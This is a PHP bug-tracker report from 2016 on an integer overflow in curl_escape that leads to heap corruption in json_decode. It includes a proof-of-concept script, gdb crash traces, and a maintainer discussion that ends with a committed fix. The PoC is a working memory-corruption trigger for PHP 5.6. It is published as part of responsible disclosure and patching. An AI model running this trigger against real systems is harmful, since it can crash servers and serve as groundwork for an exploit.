php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72807 integer overflow in curl_escape caused heap corruption
Submitted: 2016-08-11 06:59 UTC Modified: 2017-02-13 01:46 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas
Status: Closed Package: cURL related
PHP Version: 5.6.24 OS: ALL
Private report: No CVE-ID:
 [2016-08-11 06:59 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
There is integer overflow in php_json_decode_ex function:

PHP_JSON_API void php_json_decode_ex(zval *return_value, char *str, int str_len, int options, long depth TSRMLS_DC) /* {{{ */
{
      int utf16_len;
      zval *z;
      unsigned short *utf16;
      JSON_parser jp;

      utf16 = (unsigned short *) safe_emalloc((str_len+1), sizeof(unsigned short), 1); //<- str_len here is -1, +1 become 0

      utf16_len = json_utf8_to_utf16(utf16, str, str_len); <- json_utf8_to_utf16 with str_len negative

in json_utf8_to_utf16 function:

static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */
{
      size_t pos = 0, us;
      int j, status;

      if (utf16) {
            /* really convert the utf8 string */
            for (j=0 ; pos < len ; j++) {             //<- pos > len all the time

so it cause heap corruption here:

      static int json_utf8_to_utf16(unsigned short *utf16, char utf8[], int len) /* {{{ */
            ...

      if (utf16) {
            ...
                  } else {
                        utf16[j] = (unsigned short)us; //<- check the debug log
                  }
            }

            ...

Test script:
---------------
<?php

ini_set('memory_limit', -1);
$password = "password";
$iterations = 1;


$str = str_repeat('#', 0xffffffff/3);
$ch = curl_init('http://example.com/redirect.php');

$str1 = curl_escape($ch, $str); //<- for demo purpose, attacker can use other kind of string construction in PHP to build string.
var_dump(strlen($str));
var_dump(strlen($str1));
json_decode($str1);
?>

Expected result:
----------------
No crash

Actual result:
--------------
int(1431655765)
int(-1)

Program received signal SIGSEGV, Segmentation fault.
0x00000000005bc0ef in json_utf8_to_utf16 (utf16=utf16@entry=0x7ffff7fa8b60, utf8=utf8@entry=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., len=len@entry=-1) at /home/minhrau/PHP-5.6.24/ext/json/json.c:390
390					utf16[j] = (unsigned short)us;
(gdb) bt
#0  0x00000000005bc0ef in json_utf8_to_utf16 (utf16=utf16@entry=0x7ffff7fa8b60, utf8=utf8@entry=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., len=len@entry=-1) at /home/minhrau/PHP-5.6.24/ext/json/json.c:390
#1  0x00000000005bfc72 in php_json_decode_ex (return_value=return_value@entry=0x7ffff7fa83f8, str=0x7ffc497da030 "%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%2"..., str_len=-1, options=0, depth=512) at /home/minhrau/PHP-5.6.24/ext/json/json.c:692
#2  0x00000000005c02f7 in zif_json_decode (ht=<optimized out>, return_value=0x7ffff7fa83f8, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /home/minhrau/PHP-5.6.24/ext/json/json.c:848
#3  0x00000000007c4bdd in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:558
#4  0x000000000074f69e in execute_ex (execute_data=0x7ffff7f732b0) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:363
#5  0x000000000071a891 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /home/minhrau/PHP-5.6.24/Zend/zend.c:1341
#6  0x00000000006b8c20 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd0f0) at /home/minhrau/PHP-5.6.24/main/main.c:2613
#7  0x00000000007c65e7 in do_cli (argc=2, argv=0xf27d50) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:994
#8  0x000000000042b8a4 in main (argc=2, argv=0xf27d50) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:1378

(gdb) info proc mappings
process 12342
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0xc65000   0x865000        0x0 /home/minhrau/PHP-5.6.24/sapi/cli/php
            0xe64000           0xf06000    0xa2000   0x864000 /home/minhrau/PHP-5.6.24/sapi/cli/php
            0xf06000          0x1137000   0x231000        0x0 [heap]
      0x7ffc497da000     0x7ffd4981b000 0x100041000        0x0 
      0x7fff9ed72000     0x7ffff42f3000 0x55581000        0x0 

      0x7ffff7dab000     0x7ffff7dd9000    0x2e000        0x0 
      0x7ffff7dd9000     0x7ffff7dfc000    0x23000        0x0 /usr/lib/ld-2.23.so
      0x7ffff7e21000     0x7ffff7fbe000   0x19d000        0x0 
      0x7ffff7ff6000     0x7ffff7ff7000     0x1000        0x0 
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x23000 /usr/lib/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x24000 /usr/lib/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) i r
rax            0x32	50
rbx            0xffffffffffffffff	-1
rcx            0x32	50
rdx            0xaa50	43600
rsi            0x0	0
rdi            0x7ffc497da030	140721541455920
rbp            0x7ffff7fa8b60	0x7ffff7fa8b60
rsp            0x7fffffffaa70	0x7fffffffaa70
r8             0xaa50	43600
r9             0x0	0
r10            0x1	1
r11            0x246	582
r12            0x7ffc497da030	140721541455920
r13            0x7fffffffaa78	140737488333432
r14            0x7fffffffaa74	140737488333428
r15            0xaa50	43600
rip            0x5bc0ef	0x5bc0ef <json_utf8_to_utf16+175>
eflags         0x10213	[ CF AF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0


(gdb) p j
$1 = 43600
(gdb) p utf16
$2 = (unsigned short *) 0x7ffff7fa8b60
(gdb)

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-12 06:20 UTC] stas@php.net
-Package: JSON related +Package: cURL related
 [2016-08-12 06:20 UTC] stas@php.net
The problem seems to be with curl_escape - functions should not produce strings with negative lengths.
 [2016-08-12 06:21 UTC] stas@php.net
If you have any more functions that produce strings of negative lengths, please report them too. No function should produce negative length string.
 [2016-08-12 06:22 UTC] stas@php.net
-Summary: integer overflow in php_json_decode_ex caused heap corruption +Summary: integer overflow in curl_escape caused heap corruption
 [2016-08-12 06:41 UTC] stas@php.net
-PHP Version: 5.6Git-2016-08-11 (Git) +PHP Version: 5.6.24 -Assigned To: +Assigned To: stas
 [2016-08-12 06:41 UTC] stas@php.net
The fix is in security repo as bd9d2292ba1913bffe058e1245c7f28622d1b1bb and in https://gist.github.com/34383731a58589812a8b09c05380b7c0

Please verify.
 [2016-08-13 10:53 UTC] minhrau dot vc dot 365 at gmail dot com
guys,

I think you missed the point here!

You weren't fix the vulnerability, you just tried to limit the function that create long string. There are nothing called "string with negative length", the negative length was existing because your code, in this case is in json_decode function, calculate wrong the length of input string, and it also not check the length before its processing.

My suggestion here is fix the actually code that missing the check (in function php_json_decode_ex) above, do not try to kill all functions create long strings.

I disagree with your patch

Regards.
 [2016-08-13 19:09 UTC] stas@php.net
PHP 5.6 does not support stings which are longer that integer can accommodate. No function should produce these strings. That's the meaning of the patch. There's no point in checking for negative length in the string, because there should be no such thing in PHP. Due to bug in curl_escape, such thing was produced, and now it's fixed.
 [2016-08-15 02:40 UTC] minhrau dot vc dot 365 at gmail dot com
Ok, it's weird.

Can I ask a CVE-ID for this?
 [2016-08-15 04:11 UTC] minhrau dot vc dot 365 at gmail dot com
Patch bd9d2292ba1913bffe058e1245c7f28622d1b1bb had been fixed this issue.
 [2016-08-17 06:43 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 06:43 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:46 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC